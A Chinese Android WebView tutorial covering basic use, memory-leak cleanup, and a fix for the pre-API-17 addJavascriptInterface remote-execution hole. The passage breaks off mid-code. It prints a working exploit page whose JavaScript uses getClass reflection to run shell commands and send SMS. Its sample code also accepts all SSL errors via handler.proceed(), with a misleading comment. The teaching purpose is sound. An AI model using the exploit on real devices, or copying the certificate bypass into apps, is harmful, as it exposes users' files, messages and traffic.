Android_Webview的使用/内存优化/远程执行漏洞处理

Android_Webview的使用/内存优化/远程执行漏洞处理


本文由 Luzhuo 编写,转发请保留该信息.
原文: http://blog.csdn.net/Rozol/article/details/73808619


Android_Webview的基本使用
内存优化
api<17时的远程执行漏洞处理

WebView使用详解

使用案例

完整代码参考

package me.luzhuo.webviewdemo.webview;

import android.graphics.Bitmap;
import android.net.http.SslError;
import android.os.Build;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.text.TextUtils;
import android.util.Log;
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.JavascriptInterface;
import android.webkit.JsPromptResult;
import android.webkit.JsResult;
import android.webkit.SslErrorHandler;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;

import org.json.JSONArray;
import org.json.JSONObject;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import me.luzhuo.webviewdemo.R;
import me.luzhuo.webviewdemo.utils.NetUtils;

/**
 * =================================================
 * <p>
 * Author: Luzhuo
 * <p>
 * Version: 1.0
 * <p>
 * Creation Date: 2017/6/22 18:00
 * <p>
 * Description: 混合开发完整代码
 * <p>
 * Revision History:
 * <p>
 * Copyright: Copyright 2017 Luzhuo. All rights reserved.
 * <p>
 * =================================================
 **/
public class HybridActivity extends AppCompatActivity {
    private final String TAG = WebViewJSActivity.class.getSimpleName();
    private RelativeLayout webview_layout;
    private WebView webview;
    private String url = "http://luzhuo.me/android/case/webview/webview_js.html";
//    private String url = "http://www.baidu.com";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_js);
        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);

        initView();

        initData();
    }

    private void initView(){
        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
        webview = new WebView(getApplicationContext());
        webview.setLayoutParams(params);
        webview_layout.addView(webview);

        WebSettings webSettings = webview.getSettings();

        webview.setWebViewClient(webViewClient);
        webview.setWebChromeClient(webChromeClient);

        jsEnabled(webSettings, true); // 启用JS
        optimization(webSettings); // 优化
    }

    /**
     * 请求事件
     */
    WebViewClient webViewClient = new WebViewClient() {
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            view.loadUrl(url);
            return true; // true不使用系统浏览器
        }

        // 加载通知
        @Override
        public void onPageStarted(WebView view, String url, Bitmap favicon) {
            // 准备加载
        }
        @Override
        public void onPageFinished(WebView view, String url) {
            // 加载完成

            // 加载新的页面时,都需要注入js片段
            injectJavascriptInterfaces();
        }

        @Override
        public void onLoadResource(WebView view, String url) {
            // 每个资源的加载都会调用
        }

        @Override
        public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
            // 网页加载失败时的处理
            switch(errorCode) {
                case 404: // 访问的页面不存在
                    // ...
                    break;
            }
        }

        @Override
        public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
            // https的处理
            handler.proceed(); // 等待证书响应
        }
    };

    /**
     * 辅助
     */
    WebChromeClient webChromeClient = new WebChromeClient() {
        @Override
        public void onProgressChanged(WebView view, int newProgress) {
            // 加载进度
            if (newProgress >= 100)  return;

            Log.e(TAG, "onProgressChanged: " + newProgress + "%");
        }

        @Override
        public void onReceivedTitle(WebView view, String title) {
            // 获取标题
            Log.e(TAG, "onReceivedTitle: " + title);
        }

        // 弹框处理
        @Override
        public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
            // 警告框
            return false; // false(默认)不处理
        }
        @Override
        public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            // 提示框

            if (parseJsInterface(message, result)) return true;

            return false; // false(默认)不处理
        }
        @Override
        public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
            // 确认框
            return false; // false(默认)不处理
        }
    };

    private void initData(){
        // 加载网页
        webview.loadUrl(url);
    }

    @Override
    protected void onDestroy() {
        // 销毁webview
        if (webview != null) {
            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
            webview.clearHistory();

            webview_layout.removeView(webview);
            webview.removeAllViews();
            webview.destroy();
            webview = null;
        }
        super.onDestroy();
    }

    /**
     * 后退
     * @param keyCode
     * @param event
     * @return
     */
    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if (keyCode == KeyEvent.KEYCODE_BACK && webview.canGoBack()) {
            webview.goBack();
            return true;
        }
        return super.onKeyDown(keyCode, event);
    }

    private void optimization(WebSettings webSettings){
        // 屏幕自适应
        webSettings.setUseWideViewPort(false); // 调整图片至合适大小 (true会导致无限滚屏)
        webSettings.setLoadWithOverviewMode(false); // 缩放至合适大小

        // 支持缩放
        webSettings.setSupportZoom(false); //支持缩放
        webSettings.setBuiltInZoomControls(false); // 允许使用内置的缩放控件
        webSettings.setDisplayZoomControls(false); // 使用原生的缩放控件

        // 缓存策略: LOAD_CACHE_ONLY:不使用网络,只读取本地缓存数据; LOAD_DEFAULT:(默认)根据cache-control决定是否从网络上取数据; LOAD_NO_CACHE: 不使用缓存,只从网络获取数据; LOAD_CACHE_ELSE_NETWORK:只要本地有,都使用缓存中的数据
        if (NetUtils.isConnected(this)) webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);
        else webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
        // 可以访问文件
        webSettings.setAllowFileAccess(true);
        // 支持通过JS打开新窗口
        webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
        // 支持自动加载图片
        webSettings.setLoadsImagesAutomatically(true);
        // 设置编码格式
        webSettings.setDefaultTextEncodingName("utf-8");

        // 安全
        webSettings.setSavePassword(false); // false不许明文密码保存
        webSettings.setAllowFileAccess(false); // false不许使用file协议
        if (Build.VERSION.SDK_INT >= 16) {
            webSettings.setAllowFileAccessFromFileURLs(false); // false为js不许读取本地文件, api≤16:默认允许, api≥17:默认关闭
            webSettings.setAllowUniversalAccessFromFileURLs(false); // false为js不许读取其他资源链接, api≤16:默认允许, api≥17:默认关闭
        }
        // 移除危险的注入对象(api≥11 && api<17)
        if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 17) {
            webview.removeJavascriptInterface("searchBoxJavaBridge_");
            webview.removeJavascriptInterface("accessibility");
            webview.removeJavascriptInterface("accessibilityTraversal");
        }
    }

    /**
     * 启用js
     * @param enabled 是否启用js, true启用
     */
    private void jsEnabled(WebSettings webSettings, boolean enabled){
        final String name = "callJS";

        webSettings.setJavaScriptEnabled(enabled); // 支持js

        // java / js 互调
        if(enabled){
            // api≥17时,使用系统的, 否则自己处理注入方式
            if (Build.VERSION.SDK_INT >= 17) webview.addJavascriptInterface(new CallJS(), name);
            else javascriptInterfaces.put(name, new CallJS());
        }else{
            if (Build.VERSION.SDK_INT >= 17){
                webview.removeJavascriptInterface(name);
            }else{
                javascriptInterfaces.remove(name);
                jsCache = null;
                injectJavascriptInterfaces();
            }
        }
    }

    class CallJS{
        /**
         * 给js调用的无参方法, js通过: var str = window.callJS.JSCallJava(); 调用
         * @return 给js的返回值
         */
        @JavascriptInterface
        public String JSCallJava() {
            String content = "JSCallJava";
            Log.e(TAG, content);
            return content;
        }

        /**
         * 给js调用的有参方法, js通过: var str = window.callJS.JSCallJava2("i am js."); 调用
         * @param param js提供的参数
         * @return 给js的返回值
         */
        @JavascriptInterface
        public String JSCallJava2(String param) {
            String content = "JSCallJava2: ".concat(param);
            Log.e(TAG, content);
            return content;
        }
    }

    public void calljs(View view){
        JavaCallJS();
    }

    public void calljs_c(View view){
        JavaCallJS2("i am java.");
    }

    /**
     * 调用js的无参方法, webview通过:  webview.loadUrl("javascript:calljs()"); 调用
     */
    public void JavaCallJS() {
        webview.loadUrl("javascript:calljs()");
    }

    /**
     * 调用js的有参方法, webview通过: webview.loadUrl("javascript:calljs2('i am java.')"); 调用
     * @param arg 传给
     */
    public void JavaCallJS2(String arg) {
        webview.loadUrl("javascript:calljs2('" + arg + "')");
    }



    // ================================ api<17, 防攻击代码 ↓ =================================
    private HashMap<String, Object> javascriptInterfaces = new HashMap<>();
    private String jsCache = null; // js防攻击片段

    /**
     * 注入防攻击js片段,并加载
     */
    private void injectJavascriptInterfaces() {
        if (!TextUtils.isEmpty(jsCache)) {
            webview.loadUrl(jsCache);
            return;
        }

        if (javascriptInterfaces.size() == 0) {
            jsCache = null;
        }

        /*
         * 防攻击js片段
         * 生成XXX_obj对象的所有方法
         *
         * javascript:(function addJavascriptInterface(){
         *   if(typeof(window.XXX_obj)!='undefined'){
         *       console.log('window.XXX_obj is exist!!');
         *   }else{
         *       window.XXX_obj={
         *           XXX_method:function(arg0,arg1){
         *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));
         *           },
         *       };
         *   }
         * })()
         */
        // 生成
        Iterator<Map.Entry<String, Object>> iterator = javascriptInterfaces.entrySet().iterator();
        StringBuilder jsScript = new StringBuilder();
        jsScript.append("javascript:(function addJavascriptInterface(){");

        // 遍历待注入java对象,生成相应的js对象
        try {
            while (iterator.hasNext()) {
                Map.Entry<String, Object> entry = iterator.next();
                String interfaceName = entry.getKey();
                Object obj = entry.getValue();
                // 生成相应的js方法
                createJsMethod(interfaceName, obj, jsScript);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        jsScript.append("})()");
        jsCache = jsScript.toString();

        webview.loadUrl(jsCache);
    }

    /**
     * 生成js方法
     */
    private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
        if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
            return;
        }

        Class<? extends Object> objClass = obj.getClass();

        // if(typeof(window.XXX_obj)!='undefined'){
        script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
        // console.log('window.XXX_obj is exist!!');
        script.append("    console.log('window." + interfaceName + " is exist!!');");

        script.append("}else{");
        // window.XXX_obj={
        script.append("    window.").append(interfaceName).append("={");

        // 通过反射机制, 添加java对象的方法
        Method[] methods = objClass.getMethods();
        for (Method method : methods) {
            String methodName = method.getName();

            // 过滤掉Object类中的一些危险的方法,如getClass()方法
            if (filterMethods(methodName)) continue;

            // XXX_method:function(arg0,arg1){
            script.append("        ").append(methodName).append(":function(");
            int argCount = method.getParameterTypes().length;
            if (argCount > 0) {
                int maxCount = argCount - 1;
                for (int i = 0; i < maxCount; ++i) {
                    script.append("arg").append(i).append(",");
                }
                script.append("arg").append(argCount - 1);
            }
            script.append(") {");

            // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));
            if (method.getReturnType() != void.class) {
                script.append("            return ").append("prompt('").append("MyApp:").append("'+");
            } else {
                script.append("            prompt('").append("MyApp:").append("'+");
            }

            script.append("JSON.stringify({");
            script.append("obj").append(":'").append(interfaceName).append("',");
            script.append("func").append(":'").append(methodName).append("',");
            script.append("args").append(":[");

            if (argCount > 0) {
                int max = argCount - 1;
                for (int i = 0; i < max; i++) {
                    script.append("arg").append(i).append(",");
                }
                script.append("arg").append(max);
            }

            script.append("]})");
            script.append(");");
            script.append("        }, ");
        }
        script.append("    };");
        script.append("}");
    }

    /**
     * 过滤掉一些危险的方法
     */
    private static final String[] filterMethods = {
            "getClass",
            "hashCode",
            "notify",
            "notifyAll",
            "equals",
            "toString",
            "wait",
    };

    /**
     * 检查是否是被过滤的方法
     */
    private boolean filterMethods(String methodName) {
        for (String method : filterMethods) {
            if (method.equals(methodName)) {
                return true;
            }
        }
        return false;
    }

    /**
     * 解析JavaScript调用prompt的参数message
     * 解析出提类名,方法名,参数列表,然后利用反射调用java对象方法
     */
    private boolean parseJsInterface(String message, JsPromptResult result) {
        if (!message.startsWith("MyApp:")) {
            return false;
        }

        // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));
        String jsonStr = message.substring("MyApp:".length());
        try {
            JSONObject jsonObj = new JSONObject(jsonStr);
            String interfaceName = jsonObj.getString("obj");
            String methodName = jsonObj.getString("func");
            JSONArray argsArray = jsonObj.getJSONArray("args");
            Object[] args = null;
            if (null != argsArray) {
                int count = argsArray.length();
                if (count > 0) {
                    args = new Object[count];

                    for (int i = 0; i < count; ++i) {
                        Object arg = argsArray.get(i);
                        if (!arg.toString().equals("null")) args[i] = arg;
                        else args[i] = null;
                    }
                }
            }

            if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                return true;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        result.cancel();
        return false;
    }

    /**
     * 利用反射, 调用java对象的方法
     */
    private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {

        boolean succeed = false;
        final Object obj = javascriptInterfaces.get(interfaceName);
        if (null == obj) {
            result.cancel();
            return false;
        }

        Class<?>[] parameterTypes = null;
        int count = 0;
        if (args != null) {
            count = args.length;
        }

        if (count > 0) {
            parameterTypes = new Class[count];
            for (int i = 0; i < count; ++i) {
                parameterTypes[i] = getClassFromJsonObject(args[i]);
            }
        }

        try {
            Method method = obj.getClass().getMethod(methodName, parameterTypes);
            Object returnObj = method.invoke(obj, args);
            boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
            String returnValue = isVoid ? "" : returnObj.toString();
            result.confirm(returnValue); // 通过prompt()返回调用结果
            succeed = true;
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }

        result.cancel();
        return succeed;
    }

    /**
     * 解析参数类型
     */
    private Class<?> getClassFromJsonObject(Object obj) {
        Class<?> cls = obj.getClass();

        if (cls == Integer.class) {
            cls = Integer.TYPE;
        } else if (cls == Boolean.class) {
            cls = Boolean.TYPE;
        } else {
            cls = String.class;
        }

        return cls;
    }

    // ================================ api<17, 防攻击代码 ↑ =================================
}

最基本的使用

package me.luzhuo.webviewdemo.webview;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.ViewGroup;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;

import me.luzhuo.webviewdemo.R;

/**
 * =================================================
 * <p>
 * Author: Luzhuo
 * <p>
 * Version: 1.0
 * <p>
 * Creation Date: 2017/6/15 17:26
 * <p>
 * Description: WebView最基本的使用, 比如用于加载版权声明页面
 * <p>
 * Revision History:
 * <p>
 * Copyright: Copyright 2017 Luzhuo. All rights reserved.
 * <p>
 * =================================================
 **/
public class WebViewBaseUseActivity extends AppCompatActivity {
    private RelativeLayout webview_layout;
    private WebView webview;
    private String url = "https://www.baidu.com";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_html5);
        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);

        initView();

        initData();
    }

    private void initView(){
        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
        webview = new WebView(getApplicationContext());
        webview.setLayoutParams(params);
        webview_layout.addView(webview);

        WebSettings webSettings = webview.getSettings();
        if (NetUtils.isConnected(this)) webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);
        else webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);

        webview.setWebViewClient(webViewClient);
    }

    WebViewClient webViewClient = new WebViewClient() {
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            view.loadUrl(url);
            return true;
        }
    };

    private void initData(){
        // 加载网页
        webview.loadUrl(url);
        // 加载资源路径格式
        // https://www.baidu.com
        // file:///android_asset/test.html
        // content://com.android.htmlfileprovider/sdcard/test.html
    }

    @Override
    protected void onDestroy() {
        // 销毁webview
        if (webview != null) {
            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
            webview.clearHistory();

            webview_layout.removeView(webview);
            webview.removeAllViews();
            webview.destroy();
            webview = null;
        }
        super.onDestroy();
    }
}
内存泄露优化
  • 优化处理(代码见最基本的使用):
    • 创建:
      • 在需要的时候创建WebView并添加到指定容器里
      • new WebView(context)是,context使用getApplicationContext(),这样可避免WebView影响Activity的回收而造成内存泄露
    • 销毁:
      • 先让WebView加载null内容(会停止之前未加载完成的页面),
      • 然后将WebView从父容器移除,
      • webview也移除所有view,
      • 接着销毁WebView,
      • 然后置为null,
      • 最后Activity就可以安全的销毁了
  • 使用webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);会停止加载之前未加载完成的页面,左边是加了这行代码的效果,右边是没加这行代码的效果
  • 经过优化,内存的使用量维持在一定的水平;未经过优化,内存的使用量真是一路向西呀.左图是经过优化处理的代码,右图是直接将WebView写在XML布局里,并在Activity销毁时调用webview.destroy();方法

WebView与JS相互调用的代码

package me.luzhuo.webviewdemo.webview;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.JavascriptInterface;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;

import me.luzhuo.webviewdemo.R;

/**
 * =================================================
 * <p>
 * Author: Luzhuo
 * <p>
 * Version: 1.0
 * <p>
 * Creation Date: 2017/6/15 17:26
 * <p>
 * Description: WebView与JS相互调用的案例代码, 经常用于移动端混合开发
 * <p>
 * Revision History:
 * <p>
 * Copyright: Copyright 2017 Luzhuo. All rights reserved.
 * <p>
 * =================================================
 **/
public class WebViewJSActivity extends AppCompatActivity {
    private final String TAG = WebViewJSActivity.class.getSimpleName();
    private RelativeLayout webview_layout;
    private WebView webview;
    private String url = "http://luzhuo.me/android/case/webview/webview_js.html";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_js);
        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);

        initView();

        initData();
    }

    private void initView(){
        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
        webview = new WebView(getApplicationContext());
        webview.setLayoutParams(params);
        webview_layout.addView(webview);

        WebSettings webSettings = webview.getSettings();

        webview.setWebViewClient(webViewClient);

        jsEnabled(webSettings, true); // 启用JS
    }

    WebViewClient webViewClient = new WebViewClient() {
        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            view.loadUrl(url);
            return true;
        }
    };

    private void initData(){
        // 加载网页
        webview.loadUrl(url);
    }

    @Override
    protected void onDestroy() {
        // 销毁webview
        if (webview != null) {
            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
            webview.clearHistory();

            webview_layout.removeView(webview);
            webview.removeAllViews();
            webview.destroy();
            webview = null;
        }
        super.onDestroy();
    }



    /**
     * 启用js
     * @param enabled 是否启用js, true启用
     */
    private void jsEnabled(WebSettings webSettings, boolean enabled){
        final String name = "callJS";

        webSettings.setJavaScriptEnabled(enabled); // 支持js

        // java / js 互调
        if(enabled) webview.addJavascriptInterface(this, name);
        else webview.removeJavascriptInterface(name);
    }

    public void calljs(View view){
        JavaCallJS();
    }

    public void calljs_c(View view){
        JavaCallJS2("i am java.");
    }

    /**
     * 给js调用的无参方法, js通过: var str = window.callJS.JSCallJava(); 调用
     * @return 给js的返回值
     */
    @JavascriptInterface
    public String JSCallJava() {
        String content = "JSCallJava";
        Log.e(TAG, content);
        return content;
    }

    /**
     * 给js调用的有参方法, js通过: var str = window.callJS.JSCallJava2("i am js."); 调用
     * @param param js提供的参数
     * @return 给js的返回值
     */
    @JavascriptInterface
    public String JSCallJava2(String param) {
        String content = "JSCallJava2: ".concat(param);
        Log.e(TAG, content);
        return content;
    }

    /**
     * 调用js的无参方法, webview通过:  webview.loadUrl("javascript:calljs()"); 调用
     */
    public void JavaCallJS() {
        webview.loadUrl("javascript:calljs()");
    }

    /**
     * 调用js的有参方法, webview通过: webview.loadUrl("javascript:calljs2('i am java.')"); 调用
     * @param arg 传给
     */
    public void JavaCallJS2(String arg) {
        webview.loadUrl("javascript:calljs2('" + arg + "')");
    }
}
  • 结果

远程执行漏洞
  • 含有恶意代码的网页

    <!DOCTYPE HTML>
    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
            <title>WebView安全漏洞</title>
    
            <script type="text/javascript">
    
            function getContents(inputStream) {  
                var contents = "";
                var bytes = inputStream.read();
                while(bytes != -1) {
                    var str = String.fromCharCode(bytes);
                    contents += str;
                    contents += "\r\n"
                    bytes = inputStream.read();
                }    
                return contents;
            }
    
            function execute(cmdArgs){
    
                for (var obj in window) {
                    if ("getClass" in window[obj]) {
                        return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                    }
                }
    
                return null;
            }
    
            var res = execute(["ls","/mnt/sdcard/"]);
            if (res != null) {
                document.write(getContents(res.getInputStream()));
            }
    
            function sendMessage(){
                for (var obj in window) {
                    if ("getClass" in window[obj]) {
                        // 发短信
                        var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
                        smsManager.sendTextMessage("10086",null,"this a message from js.");
                    }
                }
            }
            </script>
    
        </head>
    
        <body>
        </body>
    </html>
  • 这是修复api<17远程执行漏洞的代码(api≥17,系统已修复该漏洞)

    package me.luzhuo.webviewdemo.webview;
    
    import android.os.Build;
    import android.os.Bundle;
    import android.support.v7.app.AppCompatActivity;
    import android.text.TextUtils;
    import android.util.Log;
    import android.view.View;
    import android.view.ViewGroup;
    import android.webkit.JavascriptInterface;
    import android.webkit.JsPromptResult;
    import android.webkit.WebChromeClient;
    import android.webkit.WebSettings;
    import android.webkit.WebView;
    import android.webkit.WebViewClient;
    import android.widget.LinearLayout;
    import android.widget.RelativeLayout;
    
    import org.json.JSONArray;
    import org.json.JSONObject;
    
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Iterator;
    import java.util.Map;
    
    import me.luzhuo.webviewdemo.R;
    
    public class WebViewHolesActivity extends AppCompatActivity {
        private final String TAG = WebViewHolesActivity.class.getSimpleName();
        private RelativeLayout webview_layout;
        private WebView webview;
        private String url = "http://luzhuo.me/android/case/webview/webview_holes.html";
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_holes);
            webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);
    
            initView();
    
            initData();
        }
    
        private void initView(){
            LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
            webview = new WebView(getApplicationContext());
            webview.setLayoutParams(params);
            webview_layout.addView(webview);
    
            WebSettings webSettings = webview.getSettings();
    
            webview.setWebViewClient(webViewClient);
            webview.setWebChromeClient(webChromeClient);
    
            jsEnabled(webSettings, true); // 启用JS
            optimization(webSettings); // 安全优化
        }
    
        WebViewClient webViewClient = new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);
                return true;
            }
            @Override
            public void onPageFinished(WebView view, String url) {
                // 加载新的页面时,都需要注入js片段
                injectJavascriptInterfaces();
            }
        };
    
        WebChromeClient webChromeClient = new WebChromeClient() {
            @Override
            public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
                if (parseJsInterface(message, result)) return true;
    
                return false;
            }
        };
    
        private void initData(){
            // 加载网页
            webview.loadUrl(url);
        }
    
        @Override
        protected void onDestroy() {
            // 销毁webview
            if (webview != null) {
                webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
                webview.clearHistory();
    
                webview_layout.removeView(webview);
                webview.removeAllViews();
                webview.destroy();
                webview = null;
            }
            super.onDestroy();
        }
    
        /**
         * 启用js
         * @param enabled 是否启用js, true启用
         */
        private void jsEnabled(WebSettings webSettings, boolean enabled){
            final String name = "webviewHoles";
    
            webSettings.setJavaScriptEnabled(enabled); // 支持js
    
            // java / js 互调
            if(enabled){
                // api≥17时,使用系统的, 否则自己处理注入方式
                if (Build.VERSION.SDK_INT >= 17) webview.addJavascriptInterface(new WebviewHoles(), name);
                else javascriptInterfaces.put(name, new WebviewHoles());
            }else{
                if (Build.VERSION.SDK_INT >= 17){
                    webview.removeJavascriptInterface(name);
                }else{
                    javascriptInterfaces.remove(name);
                    jsCache = null;
                    injectJavascriptInterfaces();
                }
            }
        }
    
        /**
         * 安全相关优化
         * @param webSettings
         */
        private void optimization(WebSettings webSettings){
            // 安全
            webSettings.setSavePassword(false); // false不许明文密码保存
            webSettings.setAllowFileAccess(false); // false不许使用file协议
            if (Build.VERSION.SDK_INT >= 16) {
                webSettings.setAllowFileAccessFromFileURLs(false); // false为js不许读取本地文件, api≤16:默认允许, api≥17:默认关闭
                webSettings.setAllowUniversalAccessFromFileURLs(false); // false为js不许读取其他资源链接, api≤16:默认允许, api≥17:默认关闭
            }
            // 移除危险的注入对象(api≥11 && api<17)
            if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 17) {
                webview.removeJavascriptInterface("searchBoxJavaBridge_"); // 存在执行远程代码执行的威胁
                webview.removeJavascriptInterface("accessibility"); // 存在执行远程代码执行的威胁
                webview.removeJavascriptInterface("accessibilityTraversal"); // 存在执行远程代码执行的威胁
            }
        }
    
        public void send(View view){
            webview.loadUrl("javascript:sendMessage()");
        }
    
        /**
         * 被js访问的类
         */
        class WebviewHoles{
    
            /**
             * api≥17,被js调用的方法必须被 @JavascriptInterface 注解
             * @return
             */
            @JavascriptInterface
            public String JSCallJava() {
                String content = "JSCallJava";
                Log.e(TAG, content);
                return content;
            }
    
        }
    
    
    
        // ================================ api<17, 防攻击代码 ↓ =================================
        private HashMap<String, Object> javascriptInterfaces = new HashMap<>();
        private String jsCache = null; // js防攻击片段
    
        /**
         * 注入防攻击js片段,并加载
         */
        private void injectJavascriptInterfaces() {
            if (!TextUtils.isEmpty(jsCache)) {
                webview.loadUrl(jsCache);
                return;
            }
    
            if (javascriptInterfaces.size() == 0) {
                jsCache = null;
            }
    
            /*
             * 防攻击js片段
             * 生成XXX_obj对象的所有方法
             *
             * javascript:(function addJavascriptInterface(){
             *   if(typeof(window.XXX_obj)!='undefined'){
             *       console.log('window.XXX_obj is exist!!');
             *   }else{
             *       window.XXX_obj={
             *           XXX:function(arg0,arg1){
             *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));
             *           },
             *       };
             *   }
             * })()
             */
            // 生成
            Iterator<Map.Entry<String, Object>> iterator = javascriptInterfaces.entrySet().iterator();
            StringBuilder jsScript = new StringBuilder();
            jsScript.append("javascript:(function addJavascriptInterface(){");
    
            // 遍历待注入java对象,生成相应的js对象
            try {
                while (iterator.hasNext()) {
                    Map.Entry<String, Object> entry = iterator.next();
                    String interfaceName = entry.getKey();
                    Object obj = entry.getValue();
                    // 生成相应的js方法
                    createJsMethod(interfaceName, obj, jsScript);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            jsScript.append("})()");
            jsCache = jsScript.toString();
    
            webview.loadUrl(jsCache);
        }
    
        /**
         * 生成js方法
         */
        private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
            if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
                return;
            }
    
            Class<? extends Object> objClass = obj.getClass();
    
            // if(typeof(window.XXX_obj)!='undefined'){
            script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
            // console.log('window.XXX_obj is exist!!');
            script.append("    console.log('window." + interfaceName + " is exist!!');");
    
            script.append("}else{");
            // window.XXX_obj={
            script.append("    window.").append(interfaceName).append("={");
    
            // 通过反射机制, 添加java对象的方法
            Method[] methods = objClass.getMethods();
            for (Method method : methods) {
                String methodName = method.getName();
    
                // 过滤掉Object类中的一些危险的方法,如getClass()方法
                if (filterMethods(methodName)) continue;
    
                // XXX:function(arg0,arg1){
                script.append("        ").append(methodName).append(":function(");
                int argCount = method.getParameterTypes().length;
                if (argCount > 0) {
                    int maxCount = argCount - 1;
                    for (int i = 0; i < maxCount; ++i) {
                        script.append("arg").append(i).append(",");
                    }
                    script.append("arg").append(argCount - 1);
                }
                script.append(") {");
    
                // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));
                if (method.getReturnType() != void.class) {
                    script.append("            return ").append("prompt('").append("MyApp:").append("'+");
                } else {
                    script.append("            prompt('").append("MyApp:").append("'+");
                }
    
                script.append("JSON.stringify({");
                script.append("obj").append(":'").append(interfaceName).append("',");
                script.append("func").append(":'").append(methodName).append("',");
                script.append("args").append(":[");
    
                if (argCount > 0) {
                    int max = argCount - 1;
                    for (int i = 0; i < max; i++) {
                        script.append("arg").append(i).append(",");
                    }
                    script.append("arg").append(max);
                }
    
                script.append("]})");
                script.append(");");
                script.append("        }, ");
            }
            script.append("    };");
            script.append("}");
        }
    
        /**
         * 过滤掉一些危险的方法
         */
        private static final String[] filterMethods = {
                "getClass",
                "hashCode",
                "notify",
                "notifyAll",
                "equals",
                "toString",
                "wait",
        };
    
        /**
         * 检查是否是被过滤的方法
         */
        private boolean filterMethods(String methodName) {
            for (String method : filterMethods) {
                if (method.equals(methodName)) {
                    return true;
                }
            }
            return false;
        }
    
        /**
         * 解析JavaScript调用prompt的参数message
         * 解析出提类名,方法名,参数列表,然后利用反射调用java对象方法
         */
        private boolean parseJsInterface(String message, JsPromptResult result) {
